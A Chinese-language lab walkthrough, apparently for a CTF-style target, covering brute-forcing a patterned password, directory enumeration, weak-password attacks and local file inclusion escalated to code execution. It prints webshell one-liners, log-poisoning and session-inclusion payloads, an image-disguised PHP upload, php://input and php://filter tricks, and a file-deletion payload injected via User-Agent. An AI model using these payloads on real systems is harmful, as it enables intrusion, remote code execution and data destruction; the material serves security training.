渗透测试基础——黑盒测试下的Web漏洞挖掘与利用解析(二)

本文从弱口令爆破、目录枚举,到本地文件包含 LFI 的多种 getshell 手法,系统梳理了 Web 安全渗透的核心场景。无论是日志文件注入、Session 文件利用,还是 PHP 伪协议的实战技巧,都讲清了原理与利用条件,是从基础到进阶的实用参考,帮你快速掌握渗透测试的关键思路。

文章目录


情景四:构造脚本爆破密码

提示:密码前2位是小写字母,后三位是数字

这里我们还是打开网页,惯例尝试URL处是否存在SQL注入:

随后后台管理系统,尝试登陆:

这次的万能密码竟然失败了;

但是在翻看源代码的时候,发现了一个图片:

而这个与题目给我们的提示"密码前2位是小写字母,后三位是数字"相关联,所以这里编写一个简单的python脚本:

python 复制代码
import itertools
import string

letters = string.ascii_lowercase # 默认所有的小写字母a-z
digits = string.digits # 0-9

output_file = '1.txt'

with open('1.txt','w',encoding='utf-8') as f:
    for l1,l2,d1,d2,d3 in itertools.product(letters,letters,digits,digits,digits):
        password = l1+l2+d1+d2+d3

        f.write(password+'\n')


print(f"成功写入所有密码组合")

随后进行爆破,成功得到最终密码xy123

情景五:敏感文件泄露

Web目录枚举

还是老样子,先进行Web目录枚举:

但这次不一样,发现了新的目录:

bash 复制代码
/install/
/install/index.php?upgrade/

访问一下 /install目录,得到如下结果:

根据提示访问 /install/?install,得到结果:

弱口令爆破

因为不知道默认密码,因此我们尝试进行弱口令爆破:

这里让GPT生成了几个弱口令:

成功爆破得到结果:

情景六:弱口令爆破

Web目录枚举

还是老样子:

访问 /install 目录,得到了一个新文件名:lock.dat

再访问 /clear.php页面,成功重置密码:

再次进行爆破,密码还是一样:

(但这里我反倒试不出了,不管了,知道方法就行)

情景七:本地文件包含LFI

前面部分和上一关一样

这里我们扫描,发现了一个新目录:/debug

这里robots.txt文件也提示我们访问该目录:

随后访问,发现为"文件不存在":

看到 file not exist 说明 file 参数确实被用来读取文件,但传入的路径不存在 / 被过滤了。

  • 所以接下来我们可以确定一下参数名
bash 复制代码
/debug/?file=index.php
/debug/?file=debug.php

得到结果:

说明确实存在本地文件包含LFI漏洞:

之前也写过文章,感兴趣的可以看一下:Tomato 靶场完整渗透思路(本地文件包含LFI,脏牛提取)

本地文件包含getshell的几种方式

本地文件包含(Local File Inclusion,LFI)是 Web 安全中一种较常见的漏洞,攻击者可以通过服务器端动态包含文件的功能,读取服务器上的敏感文件。在某些情况下,如果服务器配置不当,LFI 还能够进一步升级为远程代码执行(RCE),最终实现 getshell。

以下是几种常见的 LFI getshell 方式的简单介绍。

1. 日志文件包含 Getshell

这是最经典的 LFI 利用方式之一。

原理

Web 服务器会记录访问日志,例如 Apache、Nginx 的 access.log。攻击者可以在 User-Agent、Referer 等 HTTP 头中插入 PHP 代码:

php 复制代码
<?php system($_GET['cmd']); ?>

服务器记录日志后,再利用 LFI 去包含日志文件:

php 复制代码
?page=/var/log/apache2/access.log

如果日志中的 PHP 代码被解析执行,即可获得 WebShell。

bash 复制代码
# 常见日志路径
Linux:
/var/log/apache2/access.log
/var/log/nginx/access.log

Windows:
C:\xampp\apache\logs\access.log
条件
  • 目标存在 LFI
  • 日志文件可读
  • PHP 以解析方式包含日志

2. Session 文件包含 Getshell

PHP 默认会将 Session 数据存储为文件。

原理

攻击者先向 Session 中写入恶意 PHP 代码,例如:

php 复制代码
<?php eval($_POST['x']); ?>

然后利用 LFI 包含对应 Session 文件:

php 复制代码
?page=/tmp/sess_xxxxxx

若 Session 文件被 PHP 解析,则可执行代码。

bash 复制代码
# 常见 Session 路径
Linux:
/tmp/
/var/lib/php/sessions/

Windows:
C:\Windows\Temp\
条件
  • Session 可控
  • Session 文件路径可预测
  • include 时会被 PHP 解析

3. 上传文件配合 LFI Getshell

有些网站允许上传图片、头像等文件。

原理

攻击者上传一个包含 PHP 代码的文件,例如:

php 复制代码
GIF89a
<?php phpinfo(); ?>

虽然扩展名可能是 .jpg,但如果服务器只是检查后缀而不检查内容,则文件中依旧存在 PHP 代码。

随后通过 LFI 包含上传文件:

php 复制代码
?page=uploads/test.jpg

若服务器解析其中的 PHP 代码,则 getshell 成功。

条件
  • 存在文件上传功能
  • 上传目录路径可知
  • LFI 可包含上传文件

4. PHP 伪协议利用

PHP 支持多种伪协议,可以配合 LFI 使用。

(1)php://input

当目标代码类似:

php 复制代码
include($_GET['page']);

攻击者可构造:

bash 复制代码
?page=php://input

POST 数据中写入:

php 复制代码
<?php system('id'); ?>

服务器包含输入流后执行代码。

(2)php://filter

常用于源码读取:

bash 复制代码
php://filter/read=convert.base64-encode/resource=index.php

虽然一般不能直接 getshell,但可用于读取源码、获取数据库密码等敏感信息,为后续利用做准备。


解题思路

了解了上述几种常见的getshell方式,所以我们可以尝试一下日志注入

首先还是访问 /install 目录,做了这么久,大概可以猜测出该文件的路径为:/var/www/html/install/lock.dat

所以这里我们可以利用 UA头写入脚本删除lock.dat文件,然后在进行密码爆破:(也可以用BP进行)

bash 复制代码
<?php unlink('/var/www/html/install/lock.dat');?>

随后访问日志的位置:(不知道?)

  • payload:?file=/etc/os-release
  • 日志位置:/var/log/nginx/access.log

检查日志,成功注入刚才的PHP脚本(再次访问/install,发现成功删除lock.dat)

其他步骤跟之前一样,密码爆破,成功得到flag:

总结

期待下次再见;

相关推荐
嘟嘟0717几秒前
从零理解 MCP:手写一个本地 MCP Server 并接入 LangChain Agent
前端·后端
埃博拉酱2 分钟前
Pip/Conda 混用导致的 CRT 版本冲突问题:[WinError 1114] 动态链接库(DLL)初始化例程失败
windows·python
刘小八2 分钟前
LangGraph 人机交互实战:Interrupt、人工审批与工作流恢复
人工智能·python·人机交互
cocoafei3 分钟前
GPT-5.6 后,别再混淆 ChatGPT 和 Codex 额度了
前端·人工智能·chatgpt
你怎么知道我是队长4 分钟前
JavaScript的函数介绍
开发语言·前端·javascript
coderhuo7 分钟前
libcurl blind sleep导致的耗时问题
网络协议
weedsfly8 分钟前
观察者模式 vs 发布-订阅模式:从概念到实战,一次讲清楚
前端·javascript·面试
treesforest8 分钟前
做内容平台,IP地址精准定位和IP高精度定位查询怎么帮我们提升用户留存
网络·网络协议·tcp/ip
暗不需求9 分钟前
手写 AJAX:从 XMLHttpRequest 到封装一个简易 axios
前端·面试
YMWM_10 分钟前
python-venv虚拟环境
linux·开发语言·python